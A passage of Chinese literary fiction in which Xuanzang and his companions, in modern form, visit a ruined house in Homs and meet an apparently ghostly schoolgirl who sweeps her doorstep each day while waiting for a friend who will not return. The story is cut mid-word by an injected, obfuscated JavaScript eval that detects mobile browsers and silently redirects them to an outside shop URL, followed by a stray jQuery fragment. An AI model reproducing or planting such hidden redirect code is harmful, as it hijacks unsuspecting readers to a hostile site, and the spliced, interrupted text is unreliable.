霍姆斯。叙利亚中部城市。战火停了一年后，断壁仍然立在原来的位置上，只是高度比之前矮了一半左右。楼房被削去了上层的几层，剩下的下面几层像被砍去了头的身体，站在地面上，窗口空洞，内部堆满瓦砾。
玄奘一行穿过的街区曾经是一条商业街。路面被清理过一遍，可以通车了，但两侧的铺面没有一家恢复营业。卷帘门要么被炸飞了，要么被撬开，门框上面留着店主贴的纸条，纸被风吹成碎条，上面的字还剩几个碎片能辨认出阿拉伯语字母的端头。
一处拐角后面有一栋两层的房子。二楼的外墙塌了一半，剩下一半还能看出原来刷过米黄色的涂料。一楼的门是完好的——浅蓝色的铁皮门，表面有几个浅浅的凹坑，但没有被撬开过。铁门旁边靠着扫把，扫把前端有些脱毛，像是被人用过之后没有收回去。
那根扫把引起了沙僧的注意。他的平板在扫过那扇门时自动对焦，捕捉到一处细节——门口地面上有一道浅浅的、被反复扫过形成的弧形痕迹，从门框内侧向外延伸，宽度大约一只鞋的长度。那个弧形每天被重复扫一遍，所以地面上的浮土在这里总是比周围薄一层。
悟空蹲在拐角处用左眼观察了一会儿，没有靠近铁门。"里面一个人。呼吸浅，体重轻，站姿比成年人矮一些。"他停了一下，然后补了一句，"这个呼吸模式——跟正常人不一样。吸气深，呼气浅。像一个人醒着的时候反复练习同一个动作，然后忘了自己为什么在练。"
沙僧收起平板，绕到房子侧面。侧墙上有一个缺口，大约齐胸高，可以看见屋内的部分情况——一间大约十平米左右的房间，地面扫干净了，墙角堆着两摞摞整齐的课本，叠得不大整齐但很整齐。窗台上放着一个杯子，杯口朝上，里面没有水但杯壁内有一圈干了的水垢。课本旁边摆着一张折叠的课桌，桌面上用粉笔画了一道分隔线，像和同桌分界用的。
一个穿灰色旧校服的女孩正蹲在墙角，背对着缺口，把散落在地上的几支铅笔一一收进笔袋里。她的动作很慢，像每天在做同一件事，所以不需要看就能完成每一步。她把最后一支铅笔放进笔袋，拉好拉链，然后站起来，转身，面向窗户的方向。窗户上的玻璃没了，只剩窗框，窗外是一片废墟的天际线。她对着窗外说了一句话——声音不大，但沙僧的平板通过缺口的音频采集捕捉到了内容："今天学校放假。我没去。明天再去。"
说完这句话之后她坐在课桌前面，把笔袋放在桌面左侧固定位置，双手交叠放在桌面上，面朝窗户的方向。她脸上没有表情，眼睛看着窗外。她看的方向不是天空，是那片断墙尽头的一栋楼。那栋楼有一面残存的阳台，阳台上晾着一件衣服——浅蓝色的，跟铁门的颜色相同。
玄奘从屋子的正门方向绕了过来。他在铁门前停下，看了一眼门口的扫把和地面上那道被反复扫过的弧形痕迹。他没有推门，而是在门框旁边坐下来，背靠着墙，伸手，用指尖轻轻敲了两下门框的金属边缘。敲门声在安静的街区里传了大约十几米后衰减，扩散成一层几乎听不见的余振。
房间里那个女孩的声音从门后传来："谁？"
"路过的。想讨一杯水喝。"
门后安静了几秒。然后铁门从内侧被打开了大约一掌宽的缝。那只手很瘦，腕骨明显，指甲剪得整齐。手缩回去，门缝又扩大了几寸，露出半张脸——大约十二三岁，头发扎成一个低马尾，额头有一道旧疤痕。她看了玄奘一眼，然后退后半步，把门开到了可以让一个人侧身进入的宽度。
"没有水。但有一个杯子。"
她转身走回窗台前，拿起那个杯口朝上的杯子，举起来倒扣着晃了晃。杯壁内壁的水垢已经干了很久了。她把杯子放回原处，然后回头看着玄奘，站在窗台旁边。她看起来很普通，就是一个普通的、穿着旧校服的、扎马尾的女孩。但她经过窗台侧面那束漏进来的光时，光穿过了她肩膀的边缘，没有在另一侧形成影子。
沙僧从侧墙缺口处看到了那束光穿过她肩膀时的效果。他合上平板的屏幕盖，把设备夹在腋下，没有拍。
玄奘在门内侧的地面上坐下来。他坐的位置正对着那女孩站的位置，中间隔着课桌。他看了一眼桌面上那道粉笔画的分隔线，然后问了一句："你同桌呢？"
女孩低头看了一眼那道粉笔线，伸手指了指左侧的空位。"她今天也没来。她搬家了。搬到北边那个区去了。"她指的方向是窗外那片废墟中唯一一栋还算完整的楼——阳台晾衣的位置。"我每天等她的消息。她说会打电话来。"
"你等多久了？"
女孩想了一下。她侧着头，像是在数数，但数到某个数字之后停住了，没有继续。"……很久了。但每天都差不多。天亮我起来扫地，扫完出去看门口有没有信。没有信就去上课。放学回来再扫一次。扫完坐在桌子前面等天黑。"
"你每天扫的是哪一段？"
"门口。从门框到第三个地砖缝。我跟她约好了——如果她回来，我会把门口扫得特别干净，这样她进门的时候鞋底不会沾灰。"
玄奘看了一眼门口地面那道被扫出来的弧形痕迹。弧形最外缘的落点刚好在第三块地砖的接缝线上，分毫不差，像一个被反复确认过无数次的位置。
他沉默了一会儿。然后他站起来，走到窗台边，从帆布袋里掏出水壶——水壶里还有大约一半的水——把水倒进了窗台上那个杯子里，倒到大约七分满。水接触到杯壁内干涸的水垢时发出一种轻微的、像砂砾吸水的声音。
女孩看着那个杯子里的水。她看着它，站在那里，没有碰。过了好一会儿她开口，声音比刚才低了一些："我今天等了一整天。明天还会等。其实我可以不扫门口的。但我怕她在别的地方等我。如果我不扫了，她回来的时候路过门口，看到门口脏了，会觉得我已经不等了。"
沙僧侧身站在门口，没有进去。他低头看着自己手里的平板。屏幕一直亮着，但上面还没有任何新增的记录。
玄奘把水壶收起来，拉好袋口的绳子。他站到门口，侧过身，让出可以出去的空间。"你还想继
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849397|211779||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
续等吗？"
"想。"
"那继续等。"玄奘走出铁门，"扫把还在门口。明天早上的灰你扫了就行。"
女孩站在窗台旁边，看着那只装到七分满的杯子。杯子里的水在日光下折射出一小片晃动的水影，落在课桌台面上那道粉笔分隔线上。她伸出手，用指尖碰了一下水杯边缘。指尖接触杯壁的时候，水面上起了一层极细微的涟漪。她没有喝水。她只是让指尖在那里停了几秒，然后收回来。
玄奘走回巷口时回头看了一眼。那扇浅蓝色的铁门还开着，开着他进去时的宽度。门缝里能看到女孩的背影站在窗台前，马尾微微垂着，手搭在杯子边缘。
沙僧最后一个离开那座房子。他走到门口时把扫把从门框边拿起来，又放回了原处。放回去的角度跟原来差不多，但他把扫把的柄端转向了屋内方向，让握柄更容易被门内的人够到。
他合上平板的前盖，走上停车方向的时候，平板屏幕下方有一条草稿没有存进主文件。是他在侧墙缺口处打的字，后来删了又重打，最后留下的只有一行："让她多等一天。她会自己明白的。"
删除的那行原稿是："有些真相不比幻觉仁慈。"
他坐在后座把平板的前盖打开又合上，反复了三遍。直到车驶出霍姆斯城区，他才重新解锁屏幕，在那条草稿下方加了一句话，作为当天记录正文的最后一段："她等的人不会回来了。她自己也知道。但她仍然每天扫门口、叠课本、在窗台上放一个空杯子。她在做一些事来维持一个时间的形状。那个形状让她觉得今天是昨天和明天的延续，而不是断掉的。"
他停了一下，在末尾又加了两句："她明天还会扫。后天也是。杯子里的水会在明天早上之前蒸发掉一部分，她不会续水——因为她在等的那个人最后一次喝水时杯子只喝到七分满。她知道这个细节。说明她完整地记着当天发生的所有事。记着当时的水位线、桌面上粉笔线的位置、扫把靠门框的角度。她全记得。她只是没有把那些细节串成一个结论。"
行驶了大约两公里后，后座的沙僧忽然说了一句话，音量极轻，像自己在对自己确认一件不需要别人听见的事："那杯水放了一下午。她没喝。杯子里的水还在。明天会蒸发掉一些。后天再蒸发掉一些。但她还会让它一直摆在那里。因为水放着不喝——杯子就在等。"
玄奘坐在副驾，从后视镜里看了沙僧一眼，没有接话。白色越野车继续向西行驶。后视镜中霍姆斯城区已经缩成地平线上的一排暗色锯齿了，其中有一道浅蓝色的点过于小以至于需要特意锁定才能辨认。浅蓝色铁门后面的杯子里，七分满的水面正在缓慢蒸发。明天的水位会比今天低一线。后天的水位又会低一线。水还在的时候，那只杯子每天都会在窗台上被同一个人的目光碰一次。
沙僧当天的记录正文总共只有三行半，其中有一整行是完全空白的，只在右侧边缘处留下了一个标点——句号。句号的墨迹比周围的字重一些，像是笔尖在纸面上停留的时间比正常多了几秒才抬起来。